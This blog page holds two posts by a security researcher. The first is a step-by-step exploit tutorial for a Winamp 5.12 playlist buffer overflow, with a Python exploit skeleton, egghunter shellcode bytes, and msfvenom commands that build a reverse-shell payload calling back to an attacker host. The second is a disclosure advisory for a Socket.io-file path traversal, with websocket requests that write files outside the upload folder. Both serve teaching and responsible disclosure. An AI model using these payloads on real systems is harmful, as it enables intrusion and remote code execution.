Categories
Tutorials

Exploit Development Part 1 – Winamp 5.12 Buffer Overflow in Python (with egghunters)

Hello friend, hello friend,

As you may know, I recently acquired my OSCP and I really fast stepped into OSCE, so right now I am spending my days in my rainy window developing exploits, backdooring and hunting for 0days (yeap, I have some of them too now ๐Ÿ˜‰ ). The biggest issue though, is that CTP is a “bit” outdated for today’s standards. And this is not necessarily bad, as in order to step up to more complex stuff you definitely have to understand the fundamentals. But with those standards that I use in my work, I consider the use of Backtrack, msfencode and others a bit outdated in a bad way. For that reason, I wanted to prepare a guide to exploit development that will better reflect the needs and tools of the 2020 security researcher out there.

Of course, I will not be able to cover everything, not even a part of this HUGE part of security, but if you are interested in exploit development in 2020, maybe this is a good place to start.

From the context of the post you already know that we will be exploiting a known buffer overflow in Winamp 5.12 (you can find the vulnerable version here), and we will be hosting it in a Windows XP SP3 installation (as we do not want to deal with ASLR for now) and for this tutorial I will be using Immunity Debuggerย  and mona.py but of course you can use the debugger of your choice. (in case you just start with buffer overflows and exploit development, I would highly suggest the awesome series from Corelan that starts from here)

Let’s get it started…

Replicating the Crash

The vulnerability is a buffer overflow in Winamp which happens while processing playlist files of .pls type with long UNC path. In order to start developing our exploit we have to know the structure of the file, and after doing a little research in such files we find out the following:

playlist]\r\nFile1=\\\\ UNC PATH \r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n”

Supplying the UNC path with the right amount of data, results in a crash (which we will exploit in order to get code execution), but its a bit sneaky and it acts differently to different buffer lengths. That’s why with some light magic I give you our skeleton code written in Python as the fuzzing is out of scope and will be described in an other post.

#!/usr/bin/python -w

 

filename=”poc.pls”

 

start= “\r\nFile1=\\\\”
buffer = “\x90” * 856 + “\xcc” *166 + “\x41\x41\x41\x41” + “\x83\x83\x83\x83\x83\x83\x83\x83” + “\x90\x90\x90\x90″
end=”\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n”

exploit = start + buffer + end

textfile = open(filename , ‘w’)
textfile.write(exploit)
textfile.close()

As you can see, we create a new file called poc.pls, we add the head of the file, the buffer and the footer and we save it. As simple as that. ๐Ÿ˜›

The most complex part of the code is the buffer, so let’s take it part by part:

  • “\x90” * 856 – These are NOPs used to file the buffer and reach the crash point
  • “\xcc” *166 – These are breakpoints placed into the buffer in order to better manipulate the execution later, let’s leave it for now
  • “\x41\x41\x41\x41” – Before this, is the place that the crash happens and these \x41 (As) are the bytes that will overwrite the EIP register as a result of the buffer overflow.
  • “\x83\x83\x83\x83\x83\x83\x83\x83” + “\x90\x90\x90\x90” – This is the only available buffer space that we have in order to start the chain of code execution, so you can understand that we have to start doing some magic with such limited space ๐Ÿ˜‰

So by saving and executing this exploit, we get a poc.pls file that we can open with Winamp by going to File -> Play File and selecting this file. But before doing that, open Immunity Debugger and attach to Winamp (File -> Attach and select the winamp process). If the process get poused, hit F9 to start it, and open the poc.pls file normally with Winamp.

Figure 1. Buffer overflow with EIP overwrite.

As we can see from Figure 1, opening our poc, has the following results:

  • EIP register gets overwritten with four As (41414141)
  • ESP points to our 11 byte buffer (in order to see that right click in the ESP register and select follow in DUMP in the top right window of Immunity)

So everything worked as expected from our skeleton exploit, time to get dirty.

Jumping Around

The situation that we are in is a really common one, as we have the ESP register pointing to our user controllable input, and we can easily overwrite EIP, so we need to overwrite the EIP with an address that will jump to the address pointed by the ESP. This can be done with many ways (see more here), but for our case we will use mona.py, an awesome script for that kind of exploitation.

In the input bar that we find in the bottom of immunity debugger, we write:

!mona jmp -r esp

This will supply us with all the available addresses that can execute a jump in the address that ESP points to, which are loaded by Winamp. In order to see the whole list of the addresses that mona found, you have to open the jmp.txt file in Immunity’s installation folder and from there find the proper address you wanna use. Some good points is to start from loaded dll’s that have security mechanisms disabled and that are native to the application, but this is out of scope and you will have to learn it mostly by trial and error. For our purposes, we select the following address:

0x0202d961 : call esp | {PAGE_EXECUTE_READ} [in_mp3.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:\Program Files\Winamp\Plugins\in_mp3.dll)

As you see this address calls esp and fits our standards, so now we want to change the four As in our exploit with this address in order to overwrite EIP with the call esp instruction. To do so, we change the “\x41\x41\x41\x41” part of our exploit with “\x61\xd9\x02\x02”, and execute the exploit again with the same way. (Before executing the exploit right click in the top right window of Immunity and go to Go to -> Expressions, paste the address of call esp we used 0202d961, and hit F2 to set a breakpoint in this address)

Figure 2. Successful EIP overwrite with the CALL ESP instruction

Executing the exploit we see that we hit our breakpoint and we overwrite our EIP with 0202d961 that points to the Call ESP instruction. SUCCESS. Hitting F7 to step into the next instruction we see that we get directly into the start of our 11 byte buffer and it’s time for our next jump as there is not much space for our shellcode.

As we have a lot of space in the start of our buffer (all those NOPs and breakpoints) one clear option is to jump back into this buffer. To do so we can subtract 176 bytes from ESP and then jump what ESP points to. We can do this with the following assembly code:

SUB ESP, 58

SUB ESP, 58

JMP ESP

So how we implement this in our exploit you ask? Easy, we double click the contents of the address that we stopped the execution because of the breakpoint and add the aforementioned assembly one line at a time hitting enter to save it.

Figure 3. Double clicking at the assembly contents of an address we can alter them.

When we click save, we see that this is translated to the following HEX representation:

83EC 58
83EC 58
FFE4

That we can now add into our exploit, yes you guessed it, in the place of the NOPs that the previous CALL ESP instruction leads to. So now, the buffer variable of our initial exploit will look like this:

buffer = “\x90” * 856 + “\xcc” *166 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

This was our 1st stage shellcode, and now we have a less restrictive space to execute our 2nd stage shellcode, but again not enough to execute a reverse shell for example. In this example, we could easily use some more jumps to further go back in the buffer, but we will try something more complex and definitely more fun.

Making an Omelette

Egghunters is a well-known field for exploit development,ย  so it has been covered a lot of times by people that make a better and more careful job than me. You can be educated the proper way here and here. I will just give you the higher level understanding and the technical aspects on how to use one in our case and with modern tools.

The purpose of an egg hunter is to search the entire memory range (stack/heap/..) for our final stage shellcode and redirect execution flow to it. The egg hunter contains a user defined 4-byte tag, it will then search through memory until it finds this tag twice repeated (if the tag is “1234” it will look for “12341234”). When it finds the tag it will redirect execution flow to just after the tag and so to our shellcode.

To start, we have to create an egghunter routine with mona.py. To do so we execute:

!mona egg -t cr0w

This means that we created an egghunter that hunts for the cr0wcr0w senescence which will be followed by our final shellcode. The egghunter is the following:

\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7

To implement it in our code, we need to replace the first part of the breakpoits (\xcc) of our buffer, as we know that our backward jump lands somewhere in the end of the NOPs, the execution will slide through the NOPs and eventually reach the start of our \xcc part. So now our buffer variable will be the following:

buffer = “\x90” * 856 + “\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7” + “\xcc” * 134 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

As you might notice, we decreased the number of \xcc by 32, which is the size of our egghunter. We did this because our buffer overflow is really sensitive as we mentioned in the start, and we have to maintain the buffer length. Now, let’s again run the exploit and see what happens in immunity.

Hmmm. Something is not right. We have an access violation and inspecting the place of the crash closer we see that there is a 00 null byte in a place that it shouldn’t be.

Figure 4. Bad character crashes our egghunter execution.

This is because of a bad character which is converted to a null byte during execution. Comparing our original egghunter with the one in Immunity we see that the character that was filtered out is the “\x2e”.

So now to bypass this issue we have to encode our egghunter shellcode in a way that will be able to bypass this restriction. To do that we will use msfvenom and an alphanumeric encoder. To start we need to wright the egghunter in a .bin file, so execute the following in a Linux machine:

perl -e ‘print “\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7″‘ > egghunter.bin

This will create the .bin file containing our egghunter and then we pass it to msfvenom in order to properly encode it:

cat egghunter.bin | msfvenom -p – -a x86 –platform win -e x86/alpha_mixed -f py -v egghunter

Figure 5. Egghunter encoding to avoid bad characters.

As you see, we encoded our egghunter which resulted in an 125 byte payload, that we can easily fit in the space we have available. There are of course more ways to encode our egghunter and to avoid bad characters, but for now let’s stick with it.

We copy our python code in our exploit, add it to our breakpoint buffer space and substract 125 from the total of 166 \xcc that we had in the start. This will result in the following buffer for our exploit:

buffer = “\x90” * 856 + egghunter + “\xcc” * 41 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

And if we execute the exploit (and pass all the breakpoints with F7), we can see Immunity running a series of decoding passes and then start searching for the egg. At this point it will not find anything as we haven’t placed the egg into our shellcode so let’s continue our journey ๐Ÿ˜‰

Stage the Third

Now we are in the final stage. We need to create our reverse shell shellcode place it inside the buffer and let the egghunter find it which will lead in its execution. We have a huge buffer space to work with (856 bytes to be precise) which means that we can place the egg in the start of it, and use the rest of the buffer to place our shellcode. Let’s first create the reverse shell shellcode by executing the following:

msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.0.20 EXITFUNC=none -f python -b ‘\x00\x2e’ -e x86/alpha_mixed -v shellcode

This will create an alphanumeric encoded reverse shell shellcode that will create a connection from the victim to the attackers machine in port 4444. We copy the generated python code in our exploit and we alter the buffer in the following way:

buffer = “cr0wcr0w” + shellcode + “\x90” * 139 + egghunter + “\x90” * 41 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

Some interesting things happened here:

  • As you might remember we set the egg to be cr0w in our egghunter so it will hunt for the cr0wcr0w sequence, that’s why our buffer starts with it. It will search it and move the execution in this place.
  • After the egg we place the shellcode as it will executed directly after the movement of the execution.
  • From the total of 856 NOPs we subtracted the 8 bytes from the egg sequence and the 709 bytes from the generated shellcode (but this number may vary in your case so do the correct calculations here) which resulted in 139 leftover NOPs.
  • Additionally, we altered the breakpoints to be NOPs in order to not stop the execution at any point.

The only thing left to do is start a listener in our attackers machine with:

nc -lnvp 4444

and execute the exploit.

Figure 6. Success.

Success!!! As you see we successfully exploited the Winamp 5.12 UNC path buffer overflow by using egghunters. I will not share the final exploit code as I think you can easily recreated it with the details that I provided and you can easily find it online. Feel free to ask any questions in the comments and believe me, we just started ๐Ÿ˜‰

P.S. This is just a work in progress, I am really sure that I f@cked up somewhere, so if you find something that does not add up please let me know. Happy to receive constructive criticism!!

Categories
Personal Blog Tutorials

[CVE-2020-15779] Path Traversal in Socket.io-file NPM module

Title: Path Traversal in Socket.io-file NPM module
Date: 18/05/2020
CVE-ID: CVE-2020-15779
Advisory: https://www.npmjs.com/advisories/1519
Author: Thomas Sermpinis (a.k.a. Cr0wTom)
Website:ย https://cr0wsplace.com
Versions: <= 2.0.31
Package URL: https://www.npmjs.com/package/socket.io-file
Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
Proof of Concept: https://www.exploit-db.com/exploits/48713

During one of my penetration tests for a local military equipment supplier while working for Auxilium Cyber Security, I faced a web application running on an embedded device that used web sockets in order to initiate the connection between the server and the client. There are several different technologies that can be used in the backend system in order to make use of web sockets, but the client made use of Socket.io.

The web application was relatively small, with only a few entry points that did not seem to be vulnerable. All the modules were up to date and my enumeration started to go into a dead end. As there were more days for my pentest, I decided to dig deeper and I started analyzing more the request and researching about the npm modules that were included and were in use in the web application.

One of the functionalities was a configuration file upload, that was stored in a folder in the filesystem, by using the Socket.io-file npm module. Socket.io-file (2.0.31) is a node module for uploading files via the Socket.io module. Playing around with the requests I managed to bypass the restrictions and upload a file in a different folder from the expected one (I knew that as I had access to the back-end of the system).

Client and project aside, the upload functionality of socket.io-file is vulnerable to improper input validation, allowing attackers to bypass upload directory restrictions and it allows them to upload files to paths of their choice in the underlying system.

Description of Vulnerability

The default configuration of Socket.io-file comes with an upload functionality handled by websockets. When a user tries to upload a file with the web application, the following client side request is created in order for the file to be created:

Figure 1: Normal websocket request for file upload with Socket.io-file
42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.mp3″,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

In order for this file to be created to the underlying system, the code from index.js of Socket.io-file is executed and the following part of the code, manages to merge the file path (supplied by the socket.io-file configuration) with the file name that was supplied by the user:

if(typeof options.uploadDir === ‘string’) { uploadDir = path.join(options.uploadDir, filename); }

As an example, if the user uploads a file with the name “testfile.mp3” and the server is configured to store files in the “/home/Documents/socket-app/data” path the resulting path that Socket.io-file will create the file, will be “/home/Documents/socket-app/data/testfile.mp3“. Because the aforementioned code makes no check on the file name, the upload request can be intercepted and the file name altered in a way that will move in certain paths of the system. The following example exploits this issue:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../testfile.mp3″,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

This request will generate the following path for the file to be stored “/home/Documents/socket-app/data/../testfile.mp3“, which means that the file will be actually be created in the “/home/Documents/socket-app/testfile.mp3” as the ../ characters will move the path one level lower in the filesystem.

Figure 2: File created in the node_modules directory of the filesystem, outside the intended directory.

From this example we can understand that we can write in several sensitive directories like the ~/ home directory (which includes the .ssh folder which allows us to rewrite the ssh configuration), in the root webserver directory (which can help us get a reverse shell under the right circumstances) and the cron directory (where we can inject cron jobs for code execution). Additionally, if the backend system runs with superuser privileges (which is not so uncommon), the attacker can use this vulnerability to create files in even more sensitive paths (e.g. /root and /etc). As an example, we can write the /etc/passwd file of our implementation like the following:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../../../etc/passd”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

Issue Replication

In order to replicate the issue, the following steps have to be executed:

  • Setup a proxy to intercept HTTP and WebSocket requests (e.g. Burp Suite or OWASP Zap)
  • Upload a file using the Socket.io-file web application and intercept the websocket request
  • Change the “name” parameter by adding ../ and specifying the needed path:
    • 42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../../../Downloads/testfile.mp3″,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
    • This example will create the testfile.mp3 file in the Downloads directory of the current user (our test server stores files in /home/ubuntutest/Documents/socket-app/data)

Remediation

No fix is currently available. Consider using an alternative package until a fix is made available.

Vulnerability Disclosure Timeline

Following the npm guidelines for vulnerability disclosure (“If maintainers are unresponsive after 45 days, npm Security makes the advisory public”), I responsibly disclosed this vulnerability on 18th of May 2020.

  • Initial Disclosure: 18th May 2020
  • Security Team Validation: 18th May 2020
  • Advisory Release: 7th July 2020
  • CVE-ID Assignment: 15th July 2020
  • PoC Release at exploit-db.com: 27th July 2020

Originally posted here.